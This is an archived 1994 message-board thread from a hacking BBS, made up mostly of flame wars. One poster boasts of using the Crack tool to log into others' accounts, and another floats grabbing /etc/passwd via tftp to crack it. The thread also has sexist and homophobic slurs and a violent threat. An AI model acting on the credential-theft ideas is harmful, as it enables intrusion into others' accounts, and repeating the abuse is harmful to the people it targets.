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^^^^^^----------|<-RaD alt.26OO archive (no, i'm not making this up)
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here is the login announcement for your amusement:
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230-There are currently 1 out of a max 2 anonymous ftp users.
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230-
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230- /pub/2600 - alt.2600 archive
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230- /pub/frb - Free Radio Berkeley
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230- /pub/hack - Misc. Files
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230- /pub/pyro - PYRO Files
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230- /pub/magik - MAGIK Magazine Issues #1-2
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230-
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230-Send all bugs/comments/suggestions/money to 'chris@ideal.ios.net'
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230- If you need a home for something just let me know!
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230-
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230- h4ppy h4c/<1/\/g!
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230-
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> spy.org /pub/SECURITY
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> netcom.com /pub/bradleym
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> paranoia.com
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>
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> enjoy..
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>
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> CHA0S
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you put that ftp site up as a joke, right?
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From dmonger@yabbs Sun Jul 24 18:46:19 1994
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From: dmonger@yabbs
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To: GPF@yabbs
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Subject: re: HP Sites
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Date: Sun Jul 24 18:46:19 1994
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ya know ... when you argue a lot with two years old, people soon start to
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wonder who's older :)
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-peter
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From kristo@yabbs Sun Jul 24 19:24:23 1994
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From: kristo@yabbs
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To: GPF@yabbs
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Subject: re: hp sites..
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Date: Sun Jul 24 19:24:23 1994
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I got a better one.. try this: ftp ftp.microsoft.com and download
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bunch of Machosoft hot -1 day wareZ..
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.. and no, I couldn't resist either, how lame. ;)
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From brael@yabbs Mon Jul 25 04:51:46 1994
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From: brael@yabbs
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To: kristo@yabbs
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Subject: re: hp sites..
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Date: Mon Jul 25 04:51:46 1994
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oooooh n0 the k-k3wln d00dn sarKASM tip is getting bloody RAPED!..
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fuckfuckfuck... some1 flow me some air..
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brael
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From UncleSid@yabbs Mon Jul 25 23:53:35 1994
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From: UncleSid@yabbs
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To: all@yabbs
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Subject: crack etc.
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Date: Mon Jul 25 23:53:35 1994
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HEY! I found this cool program call Crack...I thought it was like a file
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on crack the drug ya know? Well I fooled around with it on my system and
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ya know what...it shows the passwords! IT was cool I looged in as some
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people and played around with their account...anyways I ftp'd it from
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192.195.202.22 if anyone wants it...I also have some sites with pirated
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shit If yer interested
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From cosmos@yabbs Mon Jul 25 23:56:05 1994
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From: cosmos@yabbs
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To: UncleSid@yabbs
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Subject: re: crack etc.
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Date: Mon Jul 25 23:56:05 1994
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In message crack etc., UncleSid said:
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> HEY! I found this cool program call Crack...I thought it was like a file
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> on crack the drug ya know? Well I fooled around with it on my system and
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> ya know what...it shows the passwords! IT was cool I looged in as some
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> people and played around with their account...anyways I ftp'd it from
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> 192.195.202.22 if anyone wants it...I also have some sites with pirated
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> shit If yer interested
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I smell setup....nobody is this stupid.
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Cosmos
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From dmonger@yabbs Mon Jul 25 23:59:33 1994
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From: dmonger@yabbs
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To: UncleSid@yabbs
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Subject: re: crack etc.
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Date: Mon Jul 25 23:59:33 1994
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Uncle Sid? (sam?) |<00|_
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ugh, now i remember why i like shadowed password files ... anyway
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the worlds full of morons
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too bad yabbs seems to be finally getting its share
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-peter
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From Death@yabbs Tue Jul 26 00:57:00 1994
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From: Death@yabbs
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To: dmonger@yabbs
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Subject: re: crack etc.
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Date: Tue Jul 26 00:57:00 1994
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Sadly, it was inevitable...
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*sigh*
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--Death
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From UncleSid@yabbs Tue Jul 26 01:22:36 1994
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From: UncleSid@yabbs
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To: all@yabbs
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Subject: re: crack etc.
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Date: Tue Jul 26 01:22:36 1994
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Was that a pathetic attemp at a flame? why did you flmame me
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anyways..this ius #hack aint' it? I didnt' post on the wrong group did
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i...so why did you try and flame me..jeez...you guys are patehtic
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From Death@yabbs Tue Jul 26 01:48:01 1994
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From: Death@yabbs
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To: UncleSid@yabbs
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Subject: re: crack etc.
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Date: Tue Jul 26 01:48:01 1994
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Just to let you know, in case you really ARE that out of it... Crack is
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known about by around 90% of the sys admins of the world... due to the
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amount of CPU time it hogs it is also very recognizable as being itself...
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Also several sysadmins use it themselves to check their system's
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integrity. If you are caught running it you WILL get in trouble, and
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unless your sysadmin is a moron, you will be caught...
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--Death
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From Skywise@yabbs Tue Jul 26 09:31:28 1994
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From: Skywise@yabbs
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To: UncleSid@yabbs
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Subject: re: crack etc.
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Date: Tue Jul 26 09:31:28 1994
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gimmegimmegimme
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From Skywise@yabbs Tue Jul 26 09:33:19 1994
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From: Skywise@yabbs
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To: Death@yabbs
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Subject: re: crack etc.
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Date: Tue Jul 26 09:33:19 1994
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yous guys guts no sense of humor
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sheeeesh
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From Badger01@yabbs Tue Jul 26 09:50:09 1994
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From: Badger01@yabbs
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To: cosmos@yabbs
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Subject: re: crack etc.
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Date: Tue Jul 26 09:50:09 1994
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Yet again, someone MYSTERIOUSLY shows up with something antsy.
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You think we're being watched?
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Badger01
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"Paranoia is just heightened awareness"
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From nirvana@yabbs Tue Jul 26 11:24:27 1994
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From: nirvana@yabbs
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To: UncleSid@yabbs
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Subject: re: crack etc.
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Date: Tue Jul 26 11:24:27 1994
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To prove ur credentials , u had better give us some proof of ur 'pirated
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shit' sites
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how about posting them ...
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toodle-oodle
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From GPF@yabbs Tue Jul 26 12:08:58 1994
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From: GPF@yabbs
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To: nirvana@yabbs
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Subject: re: crack etc.
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Date: Tue Jul 26 12:08:58 1994
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In message re: crack etc., nirvana moronically ranted the following:
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> To prove ur credentials , u had better give us some proof of ur 'pirated
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> shit' sites
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>
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> how about posting them ...
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>
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> toodle-oodle
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oh yeah, post them on a public bbs, good idea.. did someone post the
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address of yabbs on a \/\/aR3Z bbs is west virginia or something?
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christ.....
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From Skywise@yabbs Tue Jul 26 17:30:56 1994
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From: Skywise@yabbs
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To: GPF@yabbs
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Subject: re: crack etc.
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Date: Tue Jul 26 17:30:56 1994
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|_i|<3 3y3 s3d, n0 c3nts u\/ HuMoR
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From Natalie@yabbs Tue Jul 26 19:46:45 1994
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From: Natalie@yabbs
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To: nirvana@yabbs
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Subject: re: crack etc.
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Date: Tue Jul 26 19:46:45 1994
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oh pleeeeeeeeeeease.
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natalie
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From UncleSid@yabbs Tue Jul 26 21:56:33 1994
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From: UncleSid@yabbs
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To: all@yabbs
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Subject: re: crack etc.
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Date: Tue Jul 26 21:56:33 1994
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Heh, i've been runnign crack on a few different systems and no one said
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anyhting yet...so waht do you have to say for yourselvees now.
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Hey, they gave me 99 lines :)
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From bart@yabbs Tue Jul 26 22:10:05 1994
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From: bart@yabbs
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To: all@yabbs
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Subject: NO?!
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Date: Tue Jul 26 22:10:05 1994
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Insert some mindless moronic drivel about 'finding' a password craciker
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here and offer pr8'd shit...
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three words!
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haw
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haw
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haw
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RELEASE THE HOUNDS!
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-=-BarT-=-
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From bart@yabbs Tue Jul 26 22:11:11 1994
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From: bart@yabbs
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To: UncleSid@yabbs
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Subject: strike one!
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Date: Tue Jul 26 22:11:11 1994
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try ALT.MORONIC.FUCK.UPS
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-=-BarT-=-
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From bart@yabbs Tue Jul 26 22:12:45 1994
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From: bart@yabbs
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To: GPF@yabbs
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Subject: echochat!
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Date: Tue Jul 26 22:12:45 1994
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gpffffffffff!
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EcHOcHaT aND rAd waLdO THE !3 yR OLD HACKER SLASH dj
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HaWhAHHWAHWH
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stop yer killing me!
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-=-BarT-=-
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From GPF@yabbs Tue Jul 26 22:30:34 1994
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From: GPF@yabbs
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To: UncleSid@yabbs
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Subject: re: crack etc.
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Date: Tue Jul 26 22:30:34 1994
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wow, you can crack passwords by leeching off the work of others, i hope
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that one day i can be as cool as you.
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From nieva@yabbs Tue Jul 26 23:04:34 1994
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From: nieva@yabbs
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To: all@yabbs
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Subject: ware's?
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Date: Tue Jul 26 23:04:34 1994
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i was downloading software last nite and thout: shareware sucks1 i need
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real programs! does this place have ware's?
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From phenelge@yabbs Tue Jul 26 23:26:22 1994
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From: phenelge@yabbs
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To: all@yabbs
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Subject: re: ware's?
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Date: Tue Jul 26 23:26:22 1994
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Jeeeezus H. Christ!
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Get a clue, Uncle_Sid and Nieva! Personally, Nieva's sounds like bullshit
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if I ever read it. Next she's gonna say she has an account on AOL.
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Oh, here's an idea I've had... I haven't even bothered trying it, it just
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popped into my head last nite...
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Why not use tftp to get /etc/password, then retool Crack to decode it?
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tftp is sort of a really stupid version of ftp, and allows you into the
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real /ect folder. If you named Crack something like PGP, it could work. I
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haven't looked at Crack source in a while, it's generally sort of a lamer
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tool (U_S!!!) but this could sort of be interesting. Does anyone have an
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opinion on this?
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From bart@yabbs Wed Jul 27 00:11:35 1994
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From: bart@yabbs
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To: nieva@yabbs
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Subject: re: ware's?
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Date: Wed Jul 27 00:11:35 1994
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nieva babbled this shit:
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i was downloading software last nite and thout: shareware sucks1 i need
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real programs! does this place have ware's?
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----------------------------------------------------
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'warez' are illegal and you are discussing illegal activities..
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we will have none of that on here,pal.....Register or Die!
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I have to go I am singing in my Church Choir tonight....
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May God Smile Upon You
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Biff 7:21
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Saint Bart
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From cosmos@yabbs Wed Jul 27 00:15:00 1994
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From: cosmos@yabbs
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To: nieva@yabbs
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Subject: re: ware's?
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Date: Wed Jul 27 00:15:00 1994
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In message ware's?, nieva said:
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> i was downloading software last nite and thout: shareware sucks1 i need
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> real programs! does this place have ware's?
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You know, I was reading this message base and thought: these users are
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complete fucking wankers.
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Cosmos
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From cosmos@yabbs Wed Jul 27 00:16:13 1994
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From: cosmos@yabbs
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To: phenelge@yabbs
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Subject: re: ware's?
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Date: Wed Jul 27 00:16:13 1994
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In message re: ware's?, phenelge said:
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> Jeeeezus H. Christ!
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> Get a clue, Uncle_Sid and Nieva! Personally, Nieva's sounds like bullshit
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> if I ever read it. Next she's gonna say she has an account on AOL.
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>
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> Oh, here's an idea I've had... I haven't even bothered trying it, it just
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> popped into my head last nite...
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> Why not use tftp to get /etc/password, then retool Crack to decode it?
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> tftp is sort of a really stupid version of ftp, and allows you into the
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> real /ect folder. If you named Crack something like PGP, it could work. I
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> haven't looked at Crack source in a while, it's generally sort of a lamer
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> tool (U_S!!!) but this could sort of be interesting. Does anyone have an
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> opinion on this?
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And they call this hacking??
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Cosmos
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From Natalie@yabbs Wed Jul 27 00:24:38 1994
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From: Natalie@yabbs
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To: UncleSid@yabbs
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Subject: re: crack etc.
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Date: Wed Jul 27 00:24:38 1994
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lamer
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wanker
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fuckhead
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natalie
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From Natalie@yabbs Wed Jul 27 00:26:48 1994
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From: Natalie@yabbs
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To: UncleSid@yabbs
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Subject: re: crack etc.
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Date: Wed Jul 27 00:26:48 1994
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even i'm not that dumb. and i'm notorious for not knowing a damn thing
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about computers. so what does this say about you?
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natalie
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From brael@yabbs Wed Jul 27 03:25:16 1994
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From: brael@yabbs
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To: phenelge@yabbs
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Subject: re: ware's?
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Date: Wed Jul 27 03:25:16 1994
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on ur crack ideas.. a) tftp grabs of etc/passwd are waaaaay outdated
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and are rare finds.. although good to use if ur on an x25 system or an
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entirely self-sustained network where security conciousness isn't has
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..as high as the inet.. b) why bother using/smoking crack when you can
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run password crackers like PCUPWC on ur 486 66mhz PC isolated from n e 1
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and every1.. n passwd crackers don't d0 jack on a system that requires
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digits and non-dictionary passwd entries..
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p.s.
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n e 1 here wanna talk 1aeSs switch theory email me
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brael@crl.com
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From Skywise@yabbs Wed Jul 27 09:56:38 1994
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From: Skywise@yabbs
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To: Natalie@yabbs
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Subject: re: crack etc.
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Date: Wed Jul 27 09:56:38 1994
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lamer
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wanker
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fuckhead
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natalie
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Q: Which descriptive word in the above list does not belong with the other
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three and why?
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From Skywise@yabbs Wed Jul 27 09:57:18 1994
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From: Skywise@yabbs
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To: Natalie@yabbs
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Subject: re: crack etc.
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Date: Wed Jul 27 09:57:18 1994
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A: natalie. It has three syllables while the other words have only two.
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From Quetzal@yabbs Wed Jul 27 11:37:27 1994
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From: Quetzal@yabbs
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To: arachnoi@yabbs
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Subject: re: crackers
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Date: Wed Jul 27 11:37:27 1994
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This is not directed to you Arachnoi... But why is this sub named Hack,
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It should be called the dumping ground!
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Quetzal
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From Natalie@yabbs Wed Jul 27 12:38:59 1994
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From: Natalie@yabbs
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To: Skywise@yabbs
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Subject: re: crack etc.
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Date: Wed Jul 27 12:38:59 1994
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heheh *smirk*
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i dunno....you tell me...i'm too stooooooopid to know
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natalie
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From dmonger@yabbs Thu Jul 28 09:11:54 1994
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From: dmonger@yabbs
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To: Gnarr@yabbs
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Subject: re: crack etc.
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Date: Thu Jul 28 09:11:54 1994
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<html>
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<head>
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<title>Rant Rant Rant</title>
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<body>
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<h1>Rant Rant Rant</h1>
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<rant>
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I dunno, maybe i'm the only one who's getting sick of this ... maybe not.
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Are there really so many clueless morons (please note the non-use of the word
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wanker which i feel has already been used too much in this thread).
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I mean, is it just me or do you have to be the fucking scarecrow to ask for
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warez (please note the use of real letters as i feel the warez-puppy alphabet
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has also become much too overused on this board :) in the open on a public
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bbs.
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I constantly tell people to get a clue because they seem to be lacking one
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very badly. There are certain things you just don't do until after the
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labotomy. Like asking the clerk in a store if its okay to stuff $500 worth of
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merchanise into your big black coat and stroll out past the register. Or
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saying hey mr. police man, mind if i shoot you?
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If you want to know why we're so hostile i can explain (except for cosmos, i
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think he's got some sort of odd sugar imbalance or his shoes are too tight or
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something :) ). I happen to like this board a lot, and i don't want to risk
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getting it shut down. I don't want to see it overrun by a group of 14 year
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old geeks trading gamez.
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These are the people who are perpetuating the
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media's concept of a hacker as nothing more than a sophisticated criminal who
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should be put away cause he's probably stealing your money and credit rating,
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or browsing through your personal life.
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</rant>
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<address>
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-peter
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</address>
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<! who's been writing way too much html lately>
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</body>
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</html>
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From dmonger@yabbs Thu Jul 28 09:12:36 1994
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From: dmonger@yabbs
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To: dmonger@yabbs
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Subject: re: crack etc.
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Date: Thu Jul 28 09:12:36 1994
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grr, i forgot the <p> marks in the rant ... oh well
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-peter
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From dmonger@yabbs Thu Jul 28 09:14:34 1994
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From: dmonger@yabbs
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To: all@yabbs
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Subject: mci and bulldozers
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Date: Thu Jul 28 09:14:34 1994
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well, apparently yesterday afternoon, amtrack managed to chop right through
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a fiber optic cable that belonged to MCI. Now you wouldn't think this would
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be a big deal in princeton, nj but this was apparently the major NY - DC trunk
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that got sliced.
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bye bye mci
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-peter
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who has little love for mci anyway
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From ducky@yabbs Thu Jul 28 09:53:50 1994
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From: ducky@yabbs
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To: dmonger@yabbs
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Subject: re: mci and bulldozers
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Date: Thu Jul 28 09:53:50 1994
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In message mci and bulldozers, dmonger said:
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> well, apparently yesterday afternoon, amtrack managed to chop right
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> through a fiber optic cable that belonged to MCI.
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I believe the technical term for this phenomenon is "backhoed".
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> Now you wouldn't think this would be a big deal in princeton, nj but
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> this was apparently the major NY - DC trunk that got sliced.
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It gets better. It wasn't just MCI fiber that got backhoed, WilTel and
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Sprint were affected as well. A major amount of telephone connectivity
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in the northeastern United States was taken out.
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-k
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From Skywise@yabbs Thu Jul 28 09:56:27 1994
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From: Skywise@yabbs
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To: dmonger@yabbs
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Subject: re: crack etc.
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Date: Thu Jul 28 09:56:27 1994
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D03s +#@+ I.N.C.lude :) peoples who get caught using smtp?
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.s
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\s
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/
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/s
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durn it
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From dmonger@yabbs Thu Jul 28 14:47:20 1994
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From: dmonger@yabbs
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To: ducky@yabbs
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Subject: re: mci and bulldozers
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Date: Thu Jul 28 14:47:20 1994
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cool, i didn't know there was a technical name for it, though i guess its
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probably a not too uncommon phenomena.
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wonder if that's why princeton U lost its network yesterday afternnon.
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-peter
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From Gnarr@yabbs Thu Jul 28 21:23:49 1994
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From: Gnarr@yabbs
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To: dmonger@yabbs
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Subject: warez
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Date: Thu Jul 28 21:23:49 1994
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Dmonger...when did ask for warez?
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From phenelge@yabbs Fri Jul 29 02:23:43 1994
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From: phenelge@yabbs
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To: all@yabbs
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Subject: Sorry
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Date: Fri Jul 29 02:23:43 1994
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Sorry about the lame post, folx, it was just one of those things that
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popped into my head while writing. :) Anyhow, does anyone know of any
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public ISC shells, any accounts, anything on ISC? No, I'm not some
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ultra-lamer begging someone to hack some systems, I'm trying some odd
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ports to SYSV R3, and I need to take a look at the system of an ISC box.
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Forgive me for my lameness, but I don't care anymore, I need ISC!
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From snakeis@yabbs Fri Jul 29 19:41:06 1994
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From: snakeis@yabbs
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To: all@yabbs
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Subject: Motorola Pagers
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Date: Fri Jul 29 19:41:06 1994
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I was wondering if anyone knew the pinouts for the cable to reprogram
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Motorola Pagers? I know its a serial cable of some sort.... any info?
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Snk
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From brael@yabbs Sun Jul 31 04:34:05 1994
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From: brael@yabbs
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To: phenelge@yabbs
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Subject: re: Sorry
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Date: Sun Jul 31 04:34:05 1994
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Wots ISC??
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brael@crl.c0m
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From cosmos@yabbs Sun Jul 31 13:07:35 1994
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From: cosmos@yabbs
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To: brael@yabbs
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Subject: re: Sorry
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Date: Sun Jul 31 13:07:35 1994
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In message re: Sorry, brael said:
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>
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> Wots ISC??
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>
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The correct way to ask a question my young friend is "What is".
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Anyhow, ISC is Interactive UNIX from Sunsoft. If I remember correctly a
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Sys V 3 clone from Sun before the advent of their latest flop Solaris.
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Cosmos
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From Mystery@yabbs Mon Aug 1 02:03:55 1994
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From: Mystery@yabbs
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To: dmonger@yabbs
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Subject: re: crack etc.
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Date: Mon Aug 1 02:03:55 1994
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I hear you about the little 3y3 ama kewl d00d writing crap... Why don't
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people get a clue and not write like this and make themselves llok like
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the little kid hacker wanna bes?
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From Natalie@yabbs Mon Aug 1 02:08:00 1994
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From: Natalie@yabbs
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To: Mystery@yabbs
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Subject: re: crack etc.
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Date: Mon Aug 1 02:08:00 1994
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cause it's soooooooooo fun.....but then again, i AM a wannabe *smirk*
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natalis
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who admits her own lameness before anyone else can point it out to her
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From brael@yabbs Mon Aug 1 05:04:06 1994
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From: brael@yabbs
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To: cosmos@yabbs
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Subject: re: Sorry
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Date: Mon Aug 1 05:04:06 1994
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hahahah@hahaha.. u wanna cap on me 4 my shorthand lingo, i'll cap on
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u for how lame cosmos is cuz its all order placement that takes lots
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of time and there is no way 2 completely cover ur trax..
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dare u 2 f33d me a single dms-100/1aess/1aeax/4a default..i start ya
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with a ntas/ntasntas 4 dms..:) i w0n't type proper english cuz its dry
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dull boring n no fuckin fun.. and if some1 thinks im a wanna-*B*- hAqu0R..
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like there's a care there?.. s3curity penetrators r all l@ym for wasting
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their time in this scene unless u want 2 b a spy or a lowlife credit card
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snake or a CERTy freak.. its all in fun kids......
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brael@crl.com
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From Famine@yabbs Mon Aug 1 06:07:40 1994
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From: Famine@yabbs
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To: Natalie@yabbs
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Subject: re: crack etc.
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Date: Mon Aug 1 06:07:40 1994
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Well I don't see why everyone is slagging each other off, because if the
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sysops at the site crack is being run at `illegally' don't notice a job
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eating processor they deserved to get sad geeks cracking (N.B. cracking not
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hacking...hacking is coding and requires skill; cracking is *SAD*
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irrespondsible, generally adolesent and thats all that can said about it other
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than get a life to those that practise it)
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Yes also I no the man who intially invented crack and he was an ex-hacker
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style cracker who saw how silly it all really was and so he stopped.
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To be honest my view is people who have there systems hacked usually have
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fundamental flaws in how they run their system e.g. no noticing large
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processes probably called crack (after all most people that use it wouldn't
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have the savy to change the name) or not reading telnet logs etc with all
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the failed logins from a defined place.
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Well thats all I have to say on the matter, because my view on the subject
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is hacking is a skill that has been grossly mis-represented by the media and
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about the only author every to attempt to put this fact write is the author
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of the Cukoos Egg, Clifford Stoll(I think probably got the spelling wrong).
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That all folks
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Famine(wearing his serious hat)
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From Natalie@yabbs Mon Aug 1 08:08:33 1994
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From: Natalie@yabbs
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To: brael@yabbs
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Subject: re: Sorry
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Date: Mon Aug 1 08:08:33 1994
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learn how to use proper english before you go fucking with it, dull boring
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and no fuckin fun as it may be. altho i can't possibly see where you get
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THAT fallacy from. try reading some poetry once in a while, and then
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you'll see how great english can be.
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natalie
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From cosmos@yabbs Mon Aug 1 12:09:57 1994
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From: cosmos@yabbs
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To: Famine@yabbs
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Subject: re: crack etc.
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Date: Mon Aug 1 12:09:57 1994
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Basically, you are right in a sense. Hackers are not the wily kind of
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blokes you see on this board or the kids the media loves to show breaking
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into the pentagon etc.. That would be crackers, or lamers, or wankers,
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etc...
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Anyhow, Cliff Stoll is a pisshead. Id give anything to drown that fuck
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in a vat of donkey piss.
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Nuff said.
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Cosmos
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From Skywise@yabbs Mon Aug 1 13:34:03 1994
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From: Skywise@yabbs
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To: Natalie@yabbs
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Subject: re: crack etc.
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Date: Mon Aug 1 13:34:03 1994
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|\|/-\T/-\LIE.....
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U R /=ar /=rom |_/-\/\/\3
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*hug*
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From Skywise@yabbs Mon Aug 1 13:40:35 1994
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From: Skywise@yabbs
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To: cosmos@yabbs
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Subject: re: crack etc.
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Date: Mon Aug 1 13:40:35 1994
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URGENT FROM PISS-S-US
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Re:Inventory management
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While we are making no accusations, we are hereby informing you that we
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are missing one barrel of Donkey Piss. We have made all efforts to
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account for said missing piss to no avail. It is your legal right to be
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informed of a pending investigation regarding this case.
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yours,
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I. P. Freely
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Security
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From UncleSid@yabbs Mon Aug 1 14:09:06 1994
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From: UncleSid@yabbs
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To: Natalie@yabbs
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Subject: bitch
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Date: Mon Aug 1 14:09:06 1994
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from your stupid posts I can deter two things Natalie
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1. You either have extreem PMS ALL the time and therefro are a feminazi
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bitch
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2. You are some faggot guy wanting to pick up otherguys and have tinysex
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with them so you can get turned on and pretend they are buttfucking you at
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home :)
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From GPF@yabbs Mon Aug 1 16:49:00 1994
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From: GPF@yabbs
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To: UncleSid@yabbs
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Subject: re: bitch
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Date: Mon Aug 1 16:49:00 1994
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In message bitch, UncleSid said:
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> from your stupid posts I can deter two things Natalie
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>
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>
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> 1. You either have extreem PMS ALL the time and therefro are a feminazi
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> bitch
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>
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> 2. You are some faggot guy wanting to pick up otherguys and have tinysex
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> with them so you can get turned on and pretend they are buttfucking you at
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> home :)
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>
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if you really feel the need to post such moronic drivel i would suggest taking
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it to email....
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oh and yes, we acknowledge that you know a lot of four letter words, now
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run along and play.
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gpf.... who thinks this particular message board is getting really lame...
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From cosmos@yabbs Mon Aug 1 16:59:47 1994
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From: cosmos@yabbs
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To: UncleSid@yabbs
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Subject: re: bitch
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Date: Mon Aug 1 16:59:47 1994
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In message bitch, UncleSid said:
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[observations from a moron deleted]
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You know, seems to me you have a hangup with "faggots" and "dicks"...see
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a psychiatrist, could be an underlying craving for anal sex on your part.
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Cosmos
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From Skywise@yabbs Mon Aug 1 18:09:23 1994
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From: Skywise@yabbs
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To: UncleSid@yabbs
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Subject: re: bitch
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Date: Mon Aug 1 18:09:23 1994
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MONSTER GO HOME!!!
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you silly turd
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From Badger01@yabbs Mon Aug 1 18:58:07 1994
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From: Badger01@yabbs
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To: UncleSid@yabbs
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Subject: You are dead.
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Date: Mon Aug 1 18:58:07 1994
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Don't go to Yabbsfest. Because if you do, and I find you, for DARING to
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slag Natalie in the foul and liscentious manner in which you did, this one
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eyed badger is going to rip you in little fucking bits and sprikle them
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over the toxic sludge in Love Canal, you pathetic waste.
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Badger01
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From htoaster@yabbs Mon Aug 1 20:05:46 1994
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From: htoaster@yabbs
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To: Badger01@yabbs
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Subject: re: You are dead.
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Date: Mon Aug 1 20:05:46 1994
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just what we need at yabbsfest...lots of death and gore...
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btw, just for the record, I have nothing to do with yabbsfest, and in all
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likelyhood won't even be there.
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alex
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From Badger01@yabbs Mon Aug 1 20:55:27 1994
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From: Badger01@yabbs
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To: htoaster@yabbs
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Subject: re: You are dead.
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Date: Mon Aug 1 20:55:27 1994
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Yeah, I know...but still, It's a good idea (And I think we'd all like to
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mee t the man responsible for this BBS)
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Badger01
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From Natalie@yabbs Tue Aug 2 01:04:03 1994
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From: Natalie@yabbs
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To: Skywise@yabbs
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Subject: re: crack etc.
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Date: Tue Aug 2 01:04:03 1994
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heheh...when it comes to hacking i am...even if my dad does work for the
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phone company...*smirk* and i'm using windows nt right now...*snigger*
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i've really moved up in the world...
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natalie
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From Natalie@yabbs Tue Aug 2 01:07:49 1994
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From: Natalie@yabbs
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To: UncleSid@yabbs
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Subject: re: bitch
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Date: Tue Aug 2 01:07:49 1994
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*sneer*
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first of all, i am very offended by being called a feminazi bitch. while
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i may be a bitch, i am no feminist. i have never been a feminist. and i
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never will be a feminist.
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and second of all, i am female. i am very female. anal sex does NOT turn
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me on.
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third, i am not a hacker. i have never claimed to be a hacker. i don't
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have the time to try to learn.
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fourth, i am brilliant (if you don't announce your attributes, no one
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will). but as i stated before, my area is not computers, even tho i've
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had a computer of my own for over ten years. i'm one of those annoying
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english majors.
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so get a grip buddy and leave me the hell alone. i will NOT tolerate
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being flamed again.
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natalie
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From brael@yabbs Tue Aug 2 04:51:43 1994
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From: brael@yabbs
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To: Natalie@yabbs
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Subject: re: Sorry
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Date: Tue Aug 2 04:51:43 1994
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damn girl, put a chill on the PmS breakdown together.. all im sayin is
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lemme type/talk the way i fuckin want 2 and ill let u type/talk the way u
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want 2.. every1 is entitled to their own opinions as 2 format/ettiquite/
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style but if some1 wants to rag on some1 else cuz they think they're some
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ettiquite ghod er somethin, fuck that..
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the fact remains that the ratio 0f messages posted about lame asKii
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representations to messages about n e kind of computer security is
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15 to 1 and getting worse....yo nat, get on some moprin er somethin..
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take the edge off..
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-braeL@Crl.com
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From Skywise@yabbs Tue Aug 2 07:07:42 1994
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From: Skywise@yabbs
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To: UncleSid@yabbs
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Subject: *growl*
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Date: Tue Aug 2 07:07:42 1994
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UncleSid...I WANNA POUND YOU LIKE A TEN CENT HOAR!!! YEEEEEEEEEHAW!
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your pal,
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me
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From Natalie@yabbs Tue Aug 2 08:10:57 1994
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From: Natalie@yabbs
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To: brael@yabbs
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Subject: re: Sorry
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Date: Tue Aug 2 08:10:57 1994
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why is it when a woman states her opinion, and a man doesn't like it, it's
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PMS? for the record, boys, i don't get PMS, and you really need to find
|
|
something better to blame my attitude on.
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natalie
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From Famine@yabbs Tue Aug 2 08:48:41 1994
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From: Famine@yabbs
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To: Natalie@yabbs
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Subject: re: Sorry
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Date: Tue Aug 2 08:48:41 1994
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PMT etc aside...yes Famine is still wearing his serious hat. But this
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|
message base is for hacks etc not for flames, I think it might be a good
|
|
idea to create a flame message base, after all if usenet news has one
|
|
why shouldn't yabbs.
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|
The main reason I suggest this is that to be honest I am totally feed up
|
|
with the flames, valid discussion about a point yes but raw flaming no.
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Please stop the flaming, or badger htoaster for a flame base so you can all
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|
be nasty and petty to each other but I don't have to read it.
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Famine(the anonyed)
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p.s. any one flames me for this I ignore it ok!
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From Justbob@yabbs Tue Aug 2 10:06:33 1994
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From: Justbob@yabbs
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To: all@yabbs
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Subject: re: Sorry
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Date: Tue Aug 2 10:06:33 1994
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[I would just like to second the flame message base]
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From Natalie@yabbs Tue Aug 2 10:34:48 1994
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From: Natalie@yabbs
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To: Famine@yabbs
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Subject: re: Sorry
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Date: Tue Aug 2 10:34:48 1994
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i only flame when i get flamed first. it's like a self defense thing.
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natalie
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From Badger01@yabbs Tue Aug 2 12:32:45 1994
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From: Badger01@yabbs
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To: Famine@yabbs
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Subject: Hehehe..My Name In Vain.
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Date: Tue Aug 2 12:32:45 1994
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>Or Badger htoaster
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Badger him? HEHEHEHEHEHEHE IT FINALLY HAPPENED!
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Badger01
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From balistic@yabbs Tue Aug 2 13:22:16 1994
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From: balistic@yabbs
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To: all@yabbs
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Subject: re:flamers
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Date: Tue Aug 2 13:22:16 1994
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doesn't getting flamed make ppl get along sooooo well...
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From Mystery@yabbs Tue Aug 2 18:53:14 1994
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From: Mystery@yabbs
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To: brael@yabbs
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|
Subject: re: Sorry
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Date: Tue Aug 2 18:53:14 1994
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I have to agree with Natalie. You're "cool" little writing is annoying to
|
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read and should be saved for something like irc where you need to type
|
|
things a little more quickly than a message on here. I'm not a nettiquite
|
|
god or am trying to be, I just find that writing in the cute little way
|
|
you do to be really annoying. Almost as bad or worse than writing in all
|
|
caps. AND I DON'T THINK ANYONE WANTS THIS. CAPS ARE JUST DAMN ANNOYING
|
|
JUST LIKE THAT CRAP YOU WRITE...
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Mystery
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From cosmos@yabbs Tue Aug 2 19:11:31 1994
|
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From: cosmos@yabbs
|
|
To: brael@yabbs
|
|
Subject: re: Sorry
|
|
Date: Tue Aug 2 19:11:31 1994
|
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|
|
In message re: Sorry, brael said:
|
|
>
|
|
> 15 to 1 and getting worse....yo nat, get on some moprin er somethin..
|
|
^^^^^^
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|
Is that a cross between Nuprin and Motrin???
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Cosmos
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From Quetzal@yabbs Tue Aug 2 20:33:01 1994
|
|
From: Quetzal@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: Sorry
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|
Date: Tue Aug 2 20:33:01 1994
|
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|
This is not a response to you Cos, I'm just to lazy to create my own post!
|
|
What do all these flames have to do with hackin! Nothing! So why are they
|
|
on this base? Because everyone is on A FUCKIN EGO TRIP! I think the this
|
|
base should be changed to a flame base, oh shit! it already is a flame
|
|
base, MY FUCKIN MISTAKE!!!!!
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|
From HC@yabbs Tue Aug 2 22:29:47 1994
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|
From: HC@yabbs
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|
To: all@yabbs
|
|
Subject: Alpha Micro
|
|
Date: Tue Aug 2 22:29:47 1994
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|
*******************
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|
Does anyone here have any experience using an Alpha Micro(it's not made
|
|
by DEC, or whoever makes the current Alphas)...this Micro was built back
|
|
in the early 80's and ran AMOS for the OS(Alpha Micro OS I'm assumihng)
|
|
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|
It still runs even after sitting under an inch of dust for the past 2
|
|
years...we have all the manuals and stuff, but we would like to know what
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|
we shouldn and shouldn't do to the OS...
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|
Currently, the guy who ran it has moved out of state(that's why I want to
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|
learn about it...to help bring the damn thing back up and in a usable
|
|
condition), so we have no other ppl to turn to if we need help with
|
|
it...(and I'm not going to read 15 binders full of instructions on the
|
|
damn thing either)...
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|
Thanx for the help...
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|
aych
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From Natalie@yabbs Wed Aug 3 01:35:13 1994
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|
From: Natalie@yabbs
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|
To: cosmos@yabbs
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|
Subject: re: Sorry
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|
Date: Wed Aug 3 01:35:13 1994
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must be. i jsut stick to my nice 600 mg motrins. they make me feel real
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|
good.
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|
natalie
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From Natalie@yabbs Wed Aug 3 01:35:40 1994
|
|
From: Natalie@yabbs
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|
